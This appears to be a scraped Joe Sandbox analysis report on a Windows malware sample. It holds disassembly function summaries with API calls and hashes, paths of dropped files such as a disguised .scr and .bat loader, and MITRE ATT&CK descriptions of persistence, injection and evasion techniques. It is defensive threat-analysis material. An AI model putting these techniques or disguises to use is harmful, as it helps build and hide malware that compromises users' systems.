Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ByteCharMultiWidehtonsinet_addr
String ID: 255.255.255.255
API String ID: 2496851823-2422070025
Opcode ID: 4cc78ff45ee5c7fe6f7118fe0a3fbebc53b194546ee1372da9a1bd7cdbec1e69
Instruction ID: 5d519dd22ec9808e79594fed382b24100dd53f54fa4f84885df49b9f1bdd061f
Opcode Fuzzy Hash: 4cc78ff45ee5c7fe6f7118fe0a3fbebc53b194546ee1372da9a1bd7cdbec1e69
Instruction Fuzzy Hash: 2011E530140206ABDB20AF64CD4AFEEB364FF14320F10961BF929772D1EB71A814C795

Function 00E599BD Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E11A36: _memmove.LIBCMT ref: 00E11A77

Part of subcall function 00E5B79A: GetClassNameW.USER32(?,?,000000FF), ref: 00E5B7BD

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00E59A2B

Strings

ComboBox, xrefs: 00E599CA
ListBox, xrefs: 00E599F5

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 37080161962f78fb481475bdbd7f8a6fd88929ef7168ba795ea6116f75e0a785
Instruction ID: dc3018c35999fffdc4194cef723f92ab74b73de6889c68e2cc639d105d06bd27
Opcode Fuzzy Hash: 37080161962f78fb481475bdbd7f8a6fd88929ef7168ba795ea6116f75e0a785
Instruction Fuzzy Hash: 2301F571A42214AB8F14EBA4CC51CFEB7A9BF56360B101B1AFC61732C2DB30590C8660

Function 00E0BBC6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00E0BC07

Part of subcall function 00E11821: _memmove.LIBCMT ref: 00E1185B

_wcscat.LIBCMT ref: 00E43593

Strings

s, xrefs: 00E0BC47

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: FullNamePath_memmove_wcscat
String ID: s
API String ID: 257928180-1727430956
Opcode ID: 5dd5777a615445c817b11a80d0cbcab7fe3e3a250583cc5d95c638a1cf526b89
Instruction ID: ab64531816eeb389bb273c95da12a2eeeda497f189353c5059800278949672ae
Opcode Fuzzy Hash: 5dd5777a615445c817b11a80d0cbcab7fe3e3a250583cc5d95c638a1cf526b89
Instruction Fuzzy Hash: 841188359042089BCB05EBA49982EDEB7FCFF08350B1061AABE85F7291DF7197C49B51

Function 00E6934C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00E69367
__fread_nolock.LIBCMT ref: 00E6937C

Strings

EA06, xrefs: 00E693AE

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: b15874e98a762847847e0e1a073a5675afee8534033743115f180876ea811333
Instruction ID: de910f44900d9720a1e505685c0df155326a939f700e0a93b417e7cadca63df4
Opcode Fuzzy Hash: b15874e98a762847847e0e1a073a5675afee8534033743115f180876ea811333
Instruction Fuzzy Hash: DF01F9728442687EDB28C6A8D856EFE7BFC9B11301F00419AF552E2281E5B4E6048760

Function 00E598B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E11A36: _memmove.LIBCMT ref: 00E11A77

Part of subcall function 00E5B79A: GetClassNameW.USER32(?,?,000000FF), ref: 00E5B7BD

SendMessageW.USER32(?,00000180,00000000,?), ref: 00E59923

Strings

ComboBox, xrefs: 00E598C2
ListBox, xrefs: 00E598ED

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 0db7ea09e43c34dade050d8c36c02375f9423da38a1ceb2b20b89a6672b6a195
Instruction ID: f470b4f6570a867f829e6f21c6dc2dca77b03a2a0572427e28a10c096c94464c
Opcode Fuzzy Hash: 0db7ea09e43c34dade050d8c36c02375f9423da38a1ceb2b20b89a6672b6a195
Instruction Fuzzy Hash: 7D01DB72A42104ABCF14EBA4C952EFFB7EC9F55341F14255ABD4173282DA105F0C96B1

Function 00E5993A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00E11A36: _memmove.LIBCMT ref: 00E11A77

Part of subcall function 00E5B79A: GetClassNameW.USER32(?,?,000000FF), ref: 00E5B7BD

SendMessageW.USER32(?,00000182,?,00000000), ref: 00E599A6

Strings

ComboBox, xrefs: 00E59947
ListBox, xrefs: 00E59972

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ClassMessageNameSend_memmove
String ID: ComboBox$ListBox
API String ID: 372448540-1403004172
Opcode ID: 3b136eef2736637217b234eb298ae8fbc1f55f4e64b64d739f5d0d0a0bee01a8
Instruction ID: 9533965aa94e6e5deb91285737e8000c17ef7bd7a3266874a89928058f530fd1
Opcode Fuzzy Hash: 3b136eef2736637217b234eb298ae8fbc1f55f4e64b64d739f5d0d0a0bee01a8
Instruction Fuzzy Hash: A601DB72A42104ABCB14EBA4C912EFFB7ED9F55341F14255ABD4573282DA144F0C96B1

Function 00E26D9E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 00E26DC0
__calloc_crt.LIBCMT ref: 00E26DD9

Strings

@b, xrefs: 00E26DF0

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: __calloc_crt
String ID: @b
API String ID: 3494438863-2077063687
Opcode ID: 51a1d99915ac8bf11deb9e839427098653219fe0cc6810c82df6adb63b41137b
Instruction ID: 0ac41e5530a4ddd2526881994a99f59bfe03969317f3dc44627dc205a936be14
Opcode Fuzzy Hash: 51a1d99915ac8bf11deb9e839427098653219fe0cc6810c82df6adb63b41137b
Instruction Fuzzy Hash: E8F0C8B130C226CFF7389F29BD01FA167D4E740324F10217AF540FA1A4EB7188C24A80

Function 00E654E3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00E65501
_wcscmp.LIBCMT ref: 00E65513

Strings

#32770, xrefs: 00E6550D

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: c68b3410a9ffa4b635d775851c52b40b49f4e71cbd84069f177ef5ac5e106671
Instruction ID: 821a192e9f3ee36c279447103848b8af5752d833dc5358884a80f6ebe8bd0e4f
Opcode Fuzzy Hash: c68b3410a9ffa4b635d775851c52b40b49f4e71cbd84069f177ef5ac5e106671
Instruction Fuzzy Hash: 79E09B736003291BD710A69AAC49E97F7ACDB55771F001067B904E6151D5A0994587D0

Function 00E58892 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00E588A0

Part of subcall function 00E23588: _doexit.LIBCMT ref: 00E23592

Strings

Error allocating memory., xrefs: 00E58899
AutoIt, xrefs: 00E58894

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 6ab2e028a634ac1d9f3963865220bc43e28538f4b23a81e547df4e36d659a4d5
Instruction ID: a495423b4cdbc4ab21265d8f89eea5507b50f83819182a970ce6de962e6197e5
Opcode Fuzzy Hash: 6ab2e028a634ac1d9f3963865220bc43e28538f4b23a81e547df4e36d659a4d5
Instruction Fuzzy Hash: 63D05B7238536C36D61432B47D0BFCF7A888B05B51F44543BFB08755C349D585D042D5

Function 00E40251 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 00E40091

Part of subcall function 00E7C6D9: LoadLibraryA.KERNEL32(kernel32.dll,?,00E4027A,?), ref: 00E7C6E7
Part of subcall function 00E7C6D9: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00E7C6F9

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 00E40289

Strings

WIN_XPe, xrefs: 00E400A4

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Library$AddressDirectoryFreeLoadProcSystem
String ID: WIN_XPe
API String ID: 582185067-3257408948
Opcode ID: c653c65bba92ba52032e7ef5fb9e573d4f04e51e2f5b513e4b43e842f41a2589
Instruction ID: b8cab468cacd96f20123e70f276cf9397f16bdc75f5a8de8354bceb6ef04babc
Opcode Fuzzy Hash: c653c65bba92ba52032e7ef5fb9e573d4f04e51e2f5b513e4b43e842f41a2589
Instruction Fuzzy Hash: 3CF0ED71805109DFCB15DBA1DA98BECBBF8AB48304F6424A6E246B21A0CB715F84DF21

Function 00E15800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 19windowCOMMON

Download Yara Rule

APIs

DestroyIcon.USER32(,z,00EC7A2C,00EC7890,?,00E15A53,00EC7A2C,00EC7A30,?,00000004), ref: 00E15823

Strings

,z, xrefs: 00E15808, 00E15821
SZ, xrefs: 00E15804

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: DestroyIcon
String ID: ,z$SZ
API String ID: 1234817797-2661083866
Opcode ID: 839ef0957dc9c2caeca599d8f59bd7e8e3a87c5997ba3cb8cc825ba717fa4391
Instruction ID: e75cbe79009702c1a5da08983ef1e18e33d8082b69a0d2178cb7bc5d996fb4f0
Opcode Fuzzy Hash: 839ef0957dc9c2caeca599d8f59bd7e8e3a87c5997ba3cb8cc825ba717fa4391
Instruction Fuzzy Hash: 1AE0C73301428AEFEB241F49E800BD4FBE8AFA1331F648027E48066060D3B168E0CB90

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report cW5i0RdQ4L.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Data Obfuscation

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.js

C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\GuardianCryptoElite.scr

C:\Users\user\AppData\Local\GuardianCrypto Systems Inc\O

C:\Users\user\AppData\Local\Temp\103495\Powder.pif

C:\Users\user\AppData\Local\Temp\103495\n

C:\Users\user\AppData\Local\Temp\Appraisal

C:\Users\user\AppData\Local\Temp\Barbie

C:\Users\user\AppData\Local\Temp\Centres

C:\Users\user\AppData\Local\Temp\Centres.bat (copy)

C:\Users\user\AppData\Local\Temp\Correct

C:\Users\user\AppData\Local\Temp\Fine

C:\Users\user\AppData\Local\Temp\Gloves

C:\Users\user\AppData\Local\Temp\Latin

C:\Users\user\AppData\Local\Temp\Serious

C:\Users\user\AppData\Local\Temp\Ski

Windows Analysis Report
cW5i0RdQ4L.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

